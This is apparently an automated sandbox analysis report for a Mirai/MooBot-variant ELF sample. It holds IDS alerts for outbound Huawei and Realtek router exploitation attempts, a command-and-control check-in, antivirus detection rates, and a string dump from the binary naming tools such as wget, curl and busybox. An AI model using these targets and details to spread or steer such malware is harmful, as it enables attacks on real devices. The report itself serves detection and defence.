ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.69.199.211

Timestamp:	2024-07-20T23:01:05.904446+0200
SID:	2835222
Source Port:	38070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.112.129.130

Timestamp:	2024-07-20T23:01:19.334047+0200
SID:	2835222
Source Port:	54120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.212.63

Timestamp:	2024-07-20T23:01:23.184593+0200
SID:	2835222
Source Port:	52598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.71.112.133

Timestamp:	2024-07-20T23:01:24.315231+0200
SID:	2027339
Source Port:	38530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.217.52.153

Timestamp:	2024-07-20T23:01:23.184141+0200
SID:	2835222
Source Port:	39296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.182.69

Timestamp:	2024-07-20T23:01:14.440518+0200
SID:	2835222
Source Port:	44530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:01.784059+0200
SID:	2030490
Source Port:	37548
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.20.249.180

Timestamp:	2024-07-20T23:01:02.419502+0200
SID:	2835222
Source Port:	57200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.231.66.1

Timestamp:	2024-07-20T23:01:25.227050+0200
SID:	2027339
Source Port:	41774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.253.42

Timestamp:	2024-07-20T23:01:26.005486+0200
SID:	2835222
Source Port:	52780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.156.221.195

Timestamp:	2024-07-20T23:01:07.676103+0200
SID:	2835222
Source Port:	37762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.236.255

Timestamp:	2024-07-20T23:01:02.427038+0200
SID:	2835222
Source Port:	59758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: U6YcZ2TLtT.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: U6YcZ2TLtT.elf

Virustotal: Detection: 56%

Perma Link

Source: U6YcZ2TLtT.elf

String: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:37548 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44016 -> 24.34.240.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44016 -> 24.34.240.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:60728 -> 41.26.139.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:60728 -> 41.26.139.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:55680 -> 197.12.227.51:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:55680 -> 197.12.227.51:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53616 -> 153.57.57.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53616 -> 153.57.57.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:46206 -> 157.208.127.244:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:46206 -> 157.208.127.244:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47230 -> 157.78.32.167:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47230 -> 157.78.32.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35292 -> 197.196.172.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35292 -> 197.196.172.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:48840 -> 61.165.104.213:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:48840 -> 61.165.104.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:55478 -> 197.196.31.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:55478 -> 197.196.31.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:52176 -> 126.166.207.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:52176 -> 126.166.207.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:32986 -> 32.244.217.115:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:32986 -> 32.244.217.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53052 -> 124.232.166.233:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53052 -> 124.232.166.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:42316 -> 41.34.34.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:42316 -> 41.34.34.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:42576 -> 197.24.4.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:42576 -> 197.24.4.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:41636 -> 157.216.161.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:41636 -> 157.216.161.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:55730 -> 37.110.59.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:55730 -> 37.110.59.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38436 -> 157.52.23.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38436 -> 157.52.23.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57162 -> 157.137.75.124:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57162 -> 157.137.75.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51150 -> 41.188.32.205:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51150 -> 41.188.32.205:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:60734 -> 197.40.93.165:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:60734 -> 197.40.93.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:48950 -> 197.136.233.151:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:48950 -> 197.136.233.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:55560 -> 197.81.117.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:55560 -> 197.81.117.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:42312 -> 41.65.98.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:42312 -> 41.65.98.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54852 -> 197.30.62.141:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54852 -> 197.30.62.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35070 -> 141.92.189.24:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35070 -> 141.92.189.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:60986 -> 43.186.3.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:60986 -> 43.186.3.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38188 -> 197.249.151.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38188 -> 197.249.151.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:43282 -> 157.135.213.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:43282 -> 157.135.213.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:37444 -> 197.108.206.182:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:37444 -> 197.108.206.182:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:39320 -> 4.79.178.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:39320 -> 4.79.178.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38906 -> 60.250.175.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38906 -> 60.250.175.203:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:40600 -> 197.59.92.194:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:40600 -> 197.59.92.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:48420 -> 41.80.60.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:48420 -> 41.80.60.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57882 -> 41.40.48.20:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57882 -> 41.40.48.20:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:46694 -> 138.242.39.199:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:46694 -> 138.242.39.199:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51542 -> 66.133.8.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51542 -> 66.133.8.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53792 -> 197.95.27.148:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53792 -> 197.95.27.148:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59604 -> 41.99.10.85:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59604 -> 41.99.10.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:41482 -> 157.88.41.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:41482 -> 157.88.41.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47794 -> 197.232.128.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47794 -> 197.232.128.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45018 -> 50.0.188.147:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45018 -> 50.0.188.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:33888 -> 41.171.70.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:33888 -> 41.171.70.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:52068 -> 157.245.238.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:52068 -> 157.245.238.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45158 -> 41.122.12.187:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45158 -> 41.122.12.187:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:36238 -> 76.199.109.54:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:36238 -> 76.199.109.54:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:40186 -> 41.115.1.213:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:40186 -> 41.115.1.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49218 -> 197.181.156.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49218 -> 197.181.156.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59868 -> 118.0.129.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59868 -> 118.0.129.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45474 -> 157.203.119.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45474 -> 157.203.119.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58282 -> 90.241.170.10:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58282 -> 90.241.170.10:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49858 -> 212.127.34.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49858 -> 212.127.34.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45562 -> 41.30.131.179:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45562 -> 41.30.131.179:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45886 -> 24.132.91.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45886 -> 24.132.91.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:34462 -> 197.74.63.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:34462 -> 197.74.63.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:42224 -> 157.11.56.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:42224 -> 157.11.56.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35110 -> 197.255.176.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35110 -> 197.255.176.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:37174 -> 52.155.86.86:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:37174 -> 52.155.86.86:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53680 -> 157.220.26.182:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53680 -> 157.220.26.182:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57302 -> 41.233.169.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57302 -> 41.233.169.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57200 -> 157.20.249.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57200 -> 157.20.249.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50160 -> 41.243.57.159:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50160 -> 41.243.57.159:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57334 -> 157.136.249.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57334 -> 157.136.249.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:40624 -> 157.92.46.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:40624 -> 157.92.46.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:40822 -> 41.121.47.232:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:40822 -> 41.121.47.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47630 -> 197.228.255.157:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47630 -> 197.228.255.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:36536 -> 197.66.212.124:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:36536 -> 197.66.212.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:34332 -> 157.183.27.248:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:34332 -> 157.183.27.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:60374 -> 13.86.185.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:60374 -> 13.86.185.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:43890 -> 157.255.17.174:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:43890 -> 157.255.17.174:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59918 -> 145.169.160.7:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59918 -> 145.169.160.7:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47626 -> 41.160.188.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47626 -> 41.160.188.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50544 -> 60.162.189.105:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50544 -> 60.162.189.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44176 -> 157.11.29.10:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44176 -> 157.11.29.10:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49206 -> 41.239.228.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49206 -> 41.239.228.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54692 -> 197.37.177.219:37215
